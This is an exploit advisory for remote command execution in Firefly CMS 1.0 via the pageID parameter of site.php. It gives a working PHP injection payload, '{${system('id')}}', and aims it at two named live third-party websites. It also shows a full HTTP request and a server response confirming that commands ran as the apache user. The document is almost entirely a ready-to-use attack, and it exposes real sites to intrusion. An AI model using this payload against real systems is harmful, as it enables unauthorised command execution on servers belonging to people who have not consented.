[+] Remote Comand Execution on Firefly CMS v. 1.0
[+] Date: 11/05/2019
[+] CWE number: CWE-78
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vendor Homepage: https://fireflydigital.com/
[+] Vulnerable File: site.php
[+] Version : 1.0
[+] Exploit: http://host/patch/site.php?pageID={${system(%27id%27)}}
[+] PoC: https://www.volalaw.com/site.php?pageID={${system(%27id%27)}}
https://www.beltsforanything.com/site.php?pageID={${system(%27id%27)}}
[+] Example Request:
GET /site.php?pageID={${system(%27id%27)}} HTTP/1.1
Host: www.volalaw.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html;">
<link rel="stylesheet" href="bug.css" type="text/css">
</head>
<body text="#000000" bgcolor="#F6EEE1" link="#008080" vlink="#808080" alink="#000080" background="templates/images/bkgd.jpg">
<table border="0" width="100%" cellspacing="0" cellpadding="0" align="center">
<tr valign="top">
<td class="body_links">uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
</td>
</tr>
</table>
</body>
</html>
[+] More About : http://cwe.mitre.org/data/definitions/78.html
